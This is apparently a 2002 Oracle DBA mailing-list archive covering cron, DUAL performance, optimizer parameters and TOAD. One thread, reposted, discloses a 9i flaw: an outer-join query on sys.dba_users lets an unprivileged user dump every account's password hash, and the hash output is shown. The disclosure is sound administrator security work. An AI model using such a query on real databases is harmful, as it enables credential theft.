message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Cronjob
crontab -e On Wed, 24 Apr 2002, bill thater wrote: [EMAIL PROTECTED] wrote: Anyone whom can tell me how to delete a job that is created by crontab. Thanks in advance Roland man crontab -- -- Bill Shrek Thater ORACLE DBA [EMAIL PROTECTED] You gotta program like you don't need the money, You gotta compile like you'll never get hurt, You gotta run like there's nobody watching, It's gotta come from the heart if you want it to work. Your e-mail has been returned due to insufficient voltage. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: bill thater INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Alex INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
access another user's data in a stored procedure - BECOME USER pr
I'm writing a stored procedure to be run by the dba. I want to provide the ability to manipulate data from a schema specified at runtime. I have the schema owner as an input variable, but I see three possible way to do this: 1) have the dba verify that all necessary DML privs on that schema are granted to the user running the proc, and that synonyms are properly defined - therefore there's no need to put a schema qualifier in front of every object name in the proc 2) verify all DML privs as above, put DO put a schema qualifier in front of every object name in the proc - no need, therefore, to have the synonyms (although they won't hurt) 3) grant BECOME USER to the running user, and issue ALTER SESSION SET CURRENT_SCHEMA before running the proc. Option 3 seems the easiest to code, but I'm not sure about this particular priv - some of the info on MetaLink seems to indicate this priv is only valid for importing, but not sure. anyone have any experience with this priv, or willing to provide general feedback on how to proceed? I'm relatively new to this and am also in search of guidelines to follow when writing this sort of stuff. many thanks. bill -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Magaliff, Bill INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Currval and buffer gets
Hello Gaja
I checked the report from YAPP and library cache load lock accounts
only to 0.75% of the wait time. 28 seconds during 6100 seconds between
snaps.
Yechiel Adar
Mehish
- Original Message -
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Wednesday, April 24, 2002 5:03 PM
All,
I think the issue of using SYS.DUAL vs. X$DUAL is much
beyond just response time. It is more related to
easing a potential bottleneck in your database, in a
production environment supporting multiple sessions.
Given that it takes 5 LIOs (upto Oracle8i) and 3 LIOs
(in Oracle9i for every access to SYS.DUAL, the issue
then boils down to the contention for the cache
buffers chains latch to access blocks in the database
buffer cache. So just because it is only 5(3) LIOs,
that does not make it OK.
If your application is using SYS.DUAL like there is
no tomorrow, the cache buffers chains latch becomes
your single point of contention. This is true, even if
you have _DB_BLOCK_HASH_BUCKETS set to a value higher
than its default.
As Cary has mentioned many times before, the problem
here is application serialization. For more on this
subject, please read Cary's papers Why a 99%+ buffer
cache hit ratio is NOT Ok on
http://www.hotsos.com/catalog and a recent paper at
IOUG-A Live 2002 which talks about some common
Misunderstandings about Oracle Internals.
Best regards,
Gaja
--- Khedr, Waleed [EMAIL PROTECTED] wrote:
Kevin and Jonathan,
Thanks for the explanation. It's weird for me that
Oracle is still
maintaining this kind of dependency between the SQL
and PL/SQL engines for
minor sql functions. Also regarding the dual and
x$dual, it does not sound
good to me that Oracle still is implementing dual as
a table segment even in
Oracle 9i.
I would give Gaja all the excuses to recommend using
something else other
than sys.dual to overcome this limitation.
But on the other hand the difference in performance
and the over all gain is
too minor to use x$dual (look at the test below).
Modifying the code and changing the design (or even
tuning one sql) would be
more promising.
Thanks everybody,
Waleed
declare
nn number;
ss1 date;
ss2 date;
begin
ss1 := sysdate;
for i in 1..10 loop
select 2 into nn from sys.x_$dual;
end loop;
ss2 := sysdate;
dbms_output.put_line('run time using view x_$dual in
centiseconds='||(ss2 -
ss1 ) * 24 * 60 * 60 * 100);
---
ss1 := sysdate;
for i in 1..10 loop
select 2 into nn from dual;
end loop;
ss2 := sysdate;
dbms_output.put_line('run time using table dual in
centiseconds='||(ss2 -
ss1 ) * 24 * 60 * 60 * 100);
end;
-Original Message-
Sent: Tuesday, April 23, 2002 6:18 PM
To: Multiple recipients of list ORACLE-L
It's a change that also made it into 8.1.7.3
(or possibly 8.1.7.2) - check in
$ORACLE_HOME/rdbms/admin/standard.sql
Jonathan Lewis
http://www.jlcomp.demon.co.uk
Author of:
Practical Oracle 8i: Building Efficient Databases
Next Seminar - Australia - July/August
http://www.jlcomp.demon.co.uk/seminar.html
Host to The Co-Operative Oracle Users' FAQ
http://www.jlcomp.demon.co.uk/faq/ind_faq.html
-Original Message-
To: Multiple recipients of list ORACLE-L
[EMAIL PROTECTED]
Date: 23 April 2002 22:05
|I did in 8i (8.1.7.3) and did not see what you
said:
|
|alter session set sql_trace = true
|
--
Please see the official ORACLE-L FAQ:
http://www.orafaq.com
--
Author: Jonathan Lewis
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX:
(858) 538-5051
San Diego, California-- Public Internet
access / Mailing Lists
To REMOVE yourself from this mailing list, send an
E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of
'ListGuru') and in
the message BODY, include a line containing: UNSUB
ORACLE-L
(or the name of mailing list you want to be removed
from). You may
also send the HELP command for other information
(like subscribing).
--
Please see the official ORACLE-L FAQ:
http://www.orafaq.com
--
Author: Khedr, Waleed
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX:
(858) 538-5051
San Diego, California-- Public Internet
access / Mailing Lists
To REMOVE yourself from this mailing list, send an
E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of
'ListGuru') and in
the message BODY, include a line containing: UNSUB
ORACLE-L
(or the name of mailing list you want to be removed
from). You may
also send the HELP command for other information
(like subscribing).
=
Gaja Krishna Vaidyanatha
Director, Storage Management Products,
Quest Software, Inc.
Re: good value for optimizer_index_cost_adj
Best place to look is probably Tim Gorman's paper titled something like 'The search for intelligent life'. To be found on www.evdbt.com His argument, which I think is very sound, is that the most correct value for the parameter is the relative cost of a single block read compared to a multi block read. This is captured in oracle 9 through system_stats where you can capture for a given time period: average single block read time average multiblock read time average actual size of multiblock read. I'll leave it to Tim's paper to give you guidelines on estimating the average times and average multiblock read size. Jonathan Lewis http://www.jlcomp.demon.co.uk Author of: Practical Oracle 8i: Building Efficient Databases Next Seminar - Australia - July/August http://www.jlcomp.demon.co.uk/seminar.html Host to The Co-Operative Oracle Users' FAQ http://www.jlcomp.demon.co.uk/faq/ind_faq.html -Original Message- To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Date: 24 April 2002 16:02 Hi, Oracle 817/Solaris 8. Users are doing select joining using the PKs of 2 partitionned tables. Partitionned key and the primary key are the same. The access plan is a nested loop with a full table scan on the first table which hold 700 000 rows. The block size is 16K, I assume that's why Oracle is doing FTS. By using optimizer_index_cost_adj, I can make Oracle use the PK of the first table. I've used 50 as a value for optimizer_index_cost_adj. Is that too much ? Where can I get some metrics on that parameter ? TIA = Stéphane Paquette DBA Oracle, consultant entrepôt de données Oracle DBA, datawarehouse consultant [EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Jonathan Lewis INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Currval and buffer gets
Do you know of any reason that keeps Oracle implementing dual the way they have now and its effect on all the other PL/SQL functions? Also I saw something on the Metalink where some one inserted many records in dual and when selecting count(*) from dual it returns the right count but when selecting any expression from dual it returns it only once. Also completely agree with: If your application is using dual like there is no tomorrow then there is almost certainly something wrong with your application design or code which is a much more significant threat to performance - both through bottlenecks and wasted CPU. Thanks Waleed -Original Message- Sent: Wednesday, April 24, 2002 11:59 AM To: Multiple recipients of list ORACLE-L I think there is a completely different level at which to view this issue. If your application is using dual like there is no tomorrow then there is almost certainly something wrong with your application design or code which is a much more significant threat to performance - both through bottlenecks and wasted CPU. Sure, it's cute to play with replacing DUAL with a view called DUAL on x$dual - or playing slightly more safely by recreating DUAL as an IOT, but if you are hammering DUAL, it probably won't be the CBC latch on dual's bucket that is the problem. BTW - counter-example for anyone thinking of using a view. If your developers decide that they will get Oracle to do all the arithmetic to avoid problems of IEEE rounding or some such issue. and have millions of lines like: select 2.4 * 5.1 from dual; select 18.7 / 2.1 from dual; select 1 + 1 from dual; You will really kill the system, because every time you hard-parse a statement containing a view, Oracle re-executes a recursive query like: select text from view$ where rowid = ... (Believe it - it has been done). Jonathan Lewis http://www.jlcomp.demon.co.uk Author of: Practical Oracle 8i: Building Efficient Databases Next Seminar - Australia - July/August http://www.jlcomp.demon.co.uk/seminar.html Host to The Co-Operative Oracle Users' FAQ http://www.jlcomp.demon.co.uk/faq/ind_faq.html |I think the issue of using SYS.DUAL vs. X$DUAL is much |beyond just response time. It is more related to |easing a potential bottleneck in your database, in a |production environment supporting multiple sessions. |Given that it takes 5 LIOs (upto Oracle8i) and 3 LIOs |(in Oracle9i for every access to SYS.DUAL, the issue |then boils down to the contention for the cache |buffers chains latch to access blocks in the database |buffer cache. So just because it is only 5(3) LIOs, |that does not make it OK. | |If your application is using SYS.DUAL like there is |no tomorrow, the cache buffers chains latch becomes |your single point of contention. This is true, even if |you have _DB_BLOCK_HASH_BUCKETS set to a value higher |than its default. | -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Jonathan Lewis INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Khedr, Waleed INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: TOAD schema browser
Hello What version of toad are you using. I downloaded version 7.2 a few days ago. Connected as sys, activated schema browser and got all sys tables in the list. I also got all the users in the drop list to select user. Yechiel Adar Mehish - Original Message - From: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L Sent: Wednesday, April 24, 2002 3:03 PM Subject: Re: TOAD schema browser It doesn't work as it shows no items in the list box ..I face the same problem.Thanks and RegardsAmit Nagar [EMAIL PROTECTED] Sent by: [EMAIL PROTECTED] 04/24/02 04:53 PM Please respond to ORACLE-L To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] cc: Subject:Re: TOAD schema browserHello, You should change the schema name from the list box, which is just under the toolbar. Regards M.Emre HANCIOGLUMasterfoods Services GmbHISI Application SupportTel : +49 2162 500-576Fax: +49 2162 41497E-Mail: [EMAIL PROTECTED] Sergey V Dolgov [EMAIL PROTECTED] pptus.oilnet.ru Sent by: [EMAIL PROTECTED] 24.04.02 11:58 Please respond to ORACLE-L To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] cc: Subject: TOAD schema browser Hello ORACLE-L,I'm connecting to oracle using TOAD under sys account - all workswell. I can select from sys' tables and views,but when I start schema browser it shows schema for another user(not sys).Is it TOAD bug? How to fix the problem?--Best regards,Sergey mailto:[EMAIL PROTECTED]--Please see the official ORACLE-L FAQ: http://www.orafaq.com--Author: Sergey V DolgovINET: [EMAIL PROTECTED]Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051San Diego, California -- Public Internet access / Mailing ListsTo REMOVE yourself from this mailing list, send an E-Mail messageto: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list you want to be removed from). You mayalso send the HELP command for other information (like subscribing).
Major Security Canyon in 9i!!!!!!
This was posted on Quest/Revealnets DBA Pipeline (by Andrew Simkovsky)... Sounds like a major security issue. I have tested this on 9.0.1.2 and it is a real issue: Someone recently sent me some information regarding a possible security flaw with Oracle's ANSI-compliant outer join syntax in Oracle9i. Apparently, an unprivileged user can view any data they want if they use either LEFT OUTER JOIN or RIGHT OUTER JOIN. Here is an example: SQL*Plus: Release 9.0.1.0.1 - Production on Tue Apr 16 15:16:45 2 (c) Copyright 2001 Oracle Corporation. All rights reserved. Connected to: Oracle9i Enterprise Edition Release 9.0.1.1.1 - Production With the Partitioning option JServer Release 9.0.1.1.1 - Production SQL connect / as sysdba Connected. SQL CREATE USER us1 IDENTIFIED BY us11; User created. SQL Grant Create Session to us1; Grant succeeded. SQL connect us1/us11; Connected. SQL select a.username, a.password 2 from sys.dba_users a left outer join sys.dba_users b on 3 b.username = a.username 4 ; USERNAME PASSWORD -- -- SYS D4C5016086B2DC6A SYSTEM D4DF7931AB130E37 DBSNMP E066D214D5421CCC AURORA$JIS$UTILITY$ INVALID_ENCRYPTED_PASSWORD OSE$HTTP$ADMIN INVALID_ENCRYPTED_PASSWORD AURORA$ORB$UNAUTHENTICATED INVALID_ENCRYPTED_PASSWORD SCOTT F894844C34402B67 US1 491AB9AB94D8A9EF OUTLN 4A3BA55E08595C81 ORDSYS 7EFA02EC7EA6B86F OLAPSVR AF52CFD036E8F425 OLAPSYS 3FB8EF9DB538647C ORDPLUGINS 88A2B2C183431F00 MDSYS 72979A94BAD2AF80 CTXSYS 71E687F036AD56E5 WKSYS 69ED49EE1851900D OLAPDBA 1AF71599EDACFB00 QS_CBADM 7C632AFB71F8D305 QS_ADM 991CDDAD5C5C32CA QS 8B09C6075BDF2DC4 QS_WS 24ACF617DD7D8F2F HR 6399F3B38EDF3288 OE 9C30855E7E0CB02D PM 72E382A52E89575A SH 9793B3777CD3BD1A QS_ES E6A6FA4BB042E3C2 QS_OS FF09F3EB14AE5C26 RMAN E7B5D92911C831E1 QS_CB CF9CFACF5AE24964 QS_CS 91A00922D8C0F146 30 rows selected. SQL === I have tested this on my 9i database and found it to be true only for LEFT OUTER JOIN and RIGHT OUTER JOIN. There is no issue with FULL OUTER JOIN, or any of the other ANSI-compliant SQL. Here is Oracle's response: Thank you for your concern on this issue. The issue is being activly worked by Oracle at this time. This issue is fixed in 9.0.2 release projected for this summer. Oracle is diligently working on patchs for each version and platform. There will be alerts posted on metalink which will tell you when the patch is available for your specific system. Please update the tar if you have any additional questions related to this issue. Otherwise let me know that I can close the tar. Please monitor metalink for new alert postings specific to this bug or issue. Thanks, Oracle Support == -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Freeman, Robert INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
AW: SQL question
Select * from all_users Volker Schoen INPLAN RUHR E-Mail: mailto:[EMAIL PROTECTED] http://www.inplan.de -Ursprüngliche Nachricht- Von: Nguyen, David M [mailto:[EMAIL PROTECTED]] Gesendet: Mittwoch, 24. April 2002 18:24 An: Multiple recipients of list ORACLE-L Betreff: SQL question How do I list all user accounts created in a database? And how do I list all user table indexes? Thanks, David -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Nguyen, David M INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: SQL question
Here's one that answers both questions in one query: SELECT u.username, i.table_name, i.index_namd FROM dba_users u, dba_indexes i WHERE u.username = i.owner (+) AND u.username not like 'SYS%' This will show all users and IF they have a table with an index, it will display these as well. -Original Message- [EMAIL PROTECTED] Sent: Wednesday, April 24, 2002 11:19 AM To: Multiple recipients of list ORACLE-L Select * from all_users Volker Schoen INPLAN RUHR E-Mail: mailto:[EMAIL PROTECTED] http://www.inplan.de -Ursprüngliche Nachricht- Von: Nguyen, David M [mailto:[EMAIL PROTECTED]] Gesendet: Mittwoch, 24. April 2002 18:24 An: Multiple recipients of list ORACLE-L Betreff: SQL question How do I list all user accounts created in a database? And how do I list all user table indexes? Thanks, David -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Nguyen, David M INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Daniel W. Fink INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Alter command.Need urgent help.
Hi, I've worked on loading data into the database. By mistake, I havea typo intable attribute that needs to be fixed. Please help me how to write an sqlplus to correct my misspelled word or delete the generl_description attribute not the whole table. Here is an example of my table PART Part_id operating_range generl_description (should be general_description) mass .. Thanks in advance. Trang Do You Yahoo!? Yahoo! Games - play chess, backgammon, pool and more
RE: Major Security Canyon in 9i!!!!!!
I may be mistaken, but I think this is a few days old already. Regards, Patrice Boivin Systems Analyst (Oracle Certified DBA) Systems Admin Operations | Admin. et Exploit. des systèmes Technology Services| Services technologiques Informatics Branch | Direction de l'informatique Maritimes Region, DFO | Région des Maritimes, MPO E-Mail: [EMAIL PROTECTED] -Original Message- Sent: Wednesday, April 24, 2002 2:24 PM To: Multiple recipients of list ORACLE-L Subject:Major Security Canyon in 9i!! This was posted on Quest/Revealnets DBA Pipeline (by Andrew Simkovsky)... Sounds like a major security issue. I have tested this on 9.0.1.2 and it is a real issue: Someone recently sent me some information regarding a possible security flaw with Oracle's ANSI-compliant outer join syntax in Oracle9i. Apparently, an unprivileged user can view any data they want if they use either LEFT OUTER JOIN or RIGHT OUTER JOIN. Here is an example: SQL*Plus: Release 9.0.1.0.1 - Production on Tue Apr 16 15:16:45 2 (c) Copyright 2001 Oracle Corporation. All rights reserved. Connected to: Oracle9i Enterprise Edition Release 9.0.1.1.1 - Production With the Partitioning option JServer Release 9.0.1.1.1 - Production SQL connect / as sysdba Connected. SQL CREATE USER us1 IDENTIFIED BY us11; User created. SQL Grant Create Session to us1; Grant succeeded. SQL connect us1/us11; Connected. SQL select a.username, a.password 2 from sys.dba_users a left outer join sys.dba_users b on 3 b.username = a.username 4 ; USERNAME PASSWORD -- -- SYS D4C5016086B2DC6A SYSTEM D4DF7931AB130E37 DBSNMP E066D214D5421CCC AURORA$JIS$UTILITY$ INVALID_ENCRYPTED_PASSWORD OSE$HTTP$ADMIN INVALID_ENCRYPTED_PASSWORD AURORA$ORB$UNAUTHENTICATED INVALID_ENCRYPTED_PASSWORD SCOTT F894844C34402B67 US1 491AB9AB94D8A9EF OUTLN 4A3BA55E08595C81 ORDSYS 7EFA02EC7EA6B86F OLAPSVR AF52CFD036E8F425 OLAPSYS 3FB8EF9DB538647C ORDPLUGINS 88A2B2C183431F00 MDSYS 72979A94BAD2AF80 CTXSYS 71E687F036AD56E5 WKSYS 69ED49EE1851900D OLAPDBA 1AF71599EDACFB00 QS_CBADM 7C632AFB71F8D305 QS_ADM 991CDDAD5C5C32CA QS 8B09C6075BDF2DC4 QS_WS 24ACF617DD7D8F2F HR 6399F3B38EDF3288 OE 9C30855E7E0CB02D PM 72E382A52E89575A SH 9793B3777CD3BD1A QS_ES E6A6FA4BB042E3C2 QS_OS FF09F3EB14AE5C26 RMAN E7B5D92911C831E1 QS_CB CF9CFACF5AE24964 QS_CS 91A00922D8C0F146 30 rows selected. SQL === I have tested this on my 9i database and found it to be true only for LEFT OUTER JOIN and RIGHT OUTER JOIN. There is no issue with FULL OUTER JOIN, or any of the other ANSI-compliant SQL. Here is Oracle's response: Thank you for your concern on this issue. The issue is being activly worked by Oracle at this time. This issue is fixed in 9.0.2 release projected for this summer. Oracle is diligently working on patchs for each version and platform. There will be alerts posted on metalink which will tell you when the patch is available for your specific system. Please update the tar if you have any additional questions related to this issue. Otherwise let me know that I can close the tar. Please monitor metalink for new alert postings specific to this bug or issue. Thanks, Oracle Support == -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Freeman, Robert INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Boivin, Patrice J INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Currval and buffer gets
The acess path knows about DUAL and that it will return only 1 row. Create any dual table under another user and you will see that it returns all rows. Anjo. Khedr, Waleed wrote: Do you know of any reason that keeps Oracle implementing dual the way they have now and its effect on all the other PL/SQL functions? Also I saw something on the Metalink where some one inserted many records in dual and when selecting count(*) from dual it returns the right count but when selecting any expression from dual it returns it only once. Also completely agree with: If your application is using dual like there is no tomorrow then there is almost certainly something wrong with your application design or code which is a much more significant threat to performance - both through bottlenecks and wasted CPU. Thanks Waleed -Original Message- Sent: Wednesday, April 24, 2002 11:59 AM To: Multiple recipients of list ORACLE-L I think there is a completely different level at which to view this issue. If your application is using dual like there is no tomorrow then there is almost certainly something wrong with your application design or code which is a much more significant threat to performance - both through bottlenecks and wasted CPU. Sure, it's cute to play with replacing DUAL with a view called DUAL on x$dual - or playing slightly more safely by recreating DUAL as an IOT, but if you are hammering DUAL, it probably won't be the CBC latch on dual's bucket that is the problem. BTW - counter-example for anyone thinking of using a view. If your developers decide that they will get Oracle to do all the arithmetic to avoid problems of IEEE rounding or some such issue. and have millions of lines like: select 2.4 * 5.1 from dual; select 18.7 / 2.1 from dual; select 1 + 1 from dual; You will really kill the system, because every time you hard-parse a statement containing a view, Oracle re-executes a recursive query like: select text from view$ where rowid = ... (Believe it - it has been done). Jonathan Lewis http://www.jlcomp.demon.co.uk Author of: Practical Oracle 8i: Building Efficient Databases Next Seminar - Australia - July/August http://www.jlcomp.demon.co.uk/seminar.html Host to The Co-Operative Oracle Users' FAQ http://www.jlcomp.demon.co.uk/faq/ind_faq.html |I think the issue of using SYS.DUAL vs. X$DUAL is much |beyond just response time. It is more related to |easing a potential bottleneck in your database, in a |production environment supporting multiple sessions. |Given that it takes 5 LIOs (upto Oracle8i) and 3 LIOs |(in Oracle9i for every access to SYS.DUAL, the issue |then boils down to the contention for the cache |buffers chains latch to access blocks in the database |buffer cache. So just because it is only 5(3) LIOs, |that does not make it OK. | |If your application is using SYS.DUAL like there is |no tomorrow, the cache buffers chains latch becomes |your single point of contention. This is true, even if |you have _DB_BLOCK_HASH_BUCKETS set to a value higher |than its default. | -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Jonathan Lewis INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Khedr, Waleed INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Anjo Kolk INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of
RE: LOG_BUFFER Parameter Question
Alternatively, you size it until redo_log_space_wait goes away from v$system_events. -Original Message-From: Anjo Kolk [mailto:[EMAIL PROTECTED]]Sent: Wednesday, April 24, 2002 4:59 AMTo: Multiple recipients of list ORACLE-LSubject: Re: LOG_BUFFER Parameter QuestionYep, wrong tree. size it like: redo blocks per tx * tx/sec * 3/2 *physical blocksize Anjo. Denham Eva wrote: Hello, I have been wondering about how to work out what the optimal LOG_BUFFER parameter, compared to the physical size of the REDOLOG file, for the best optimization and writes from buffer to log. Or am I barking up the wrong tree? Is there some other way of doing this. i.e. redolog file size is 10M and LOG_BUFFER is 512000. Can this be optimized better? Denham Eva Oracle DBA In UNIX Land On a quiet Night, you can hear the Windows machines reboot. This e-mail message has been scanned for Viruses and Content and cleared by MailMarshal - For more information please visit www.marshalsoftware.com
Re: Number of File systems to use.
My understanding was that EMC does not stripe its disks. they just have mirror and RAID S. --- Sr DBA [EMAIL PROTECTED] wrote: Why would you software stripe it if you are using EMC? - Original Message - From: Johnson Poovathummoottil [EMAIL PROTECTED] To: LazyDBA.com Discussion [EMAIL PROTECTED] Sent: Wednesday, April 24, 2002 8:57 AM Subject: Number of File systems to use. All, Although this has been discussed many times. My boss wants other opinions on this. We EMC storage whcih uses 9 gig disks. We also use veritas volume manager. We plan to upgrade our SUN ultra e6500 to sun fire 15K machine. During to move we want to do a little reorg. This machine will have 6 partitions, 3 for the OLTP databases and 3 for the warehouse. The warehouse currently uses 20 file systems 25 GB each(3 disks raid S) for data and index. We have agreed on making the file systems to use 4 disks and stripe it with 256 KB stripe size. There are two opinions regarding the number of file systems. 1: 50 file systems of 15 GB each. In this case the 4 disks are not fully used. What is ramainig after the 15 GB can be alloted to other file systems other than the ones used by the database. Advantage IO spread over disks. 2: 20 file systems of 34 GB each. All four disks are fully used. IO over 80 disks. Question.: 1:Since we are using EMC do we need to pay so much attention to spreading IO. 2: Any problems/advantages in having too many file systems. Please give all your opinions. __ Do You Yahoo!? Yahoo! Games - play chess, backgammon, pool and more http://games.yahoo.com/ Oracle documentation is here: http://tahiti.oracle.com/pls/tahiti/tahiti.homepage To unsubscribe: send a blank email to [EMAIL PROTECTED] To subscribe: send a blank email to [EMAIL PROTECTED] Visit the list archive: http://www.LAZYDBA.com/odbareadmail.pl Tell yer mates about http://www.farAwayJobs.com By using this list you agree to these terms:http://www.lazydba.com/legal.html __ Do You Yahoo!? Yahoo! Games - play chess, 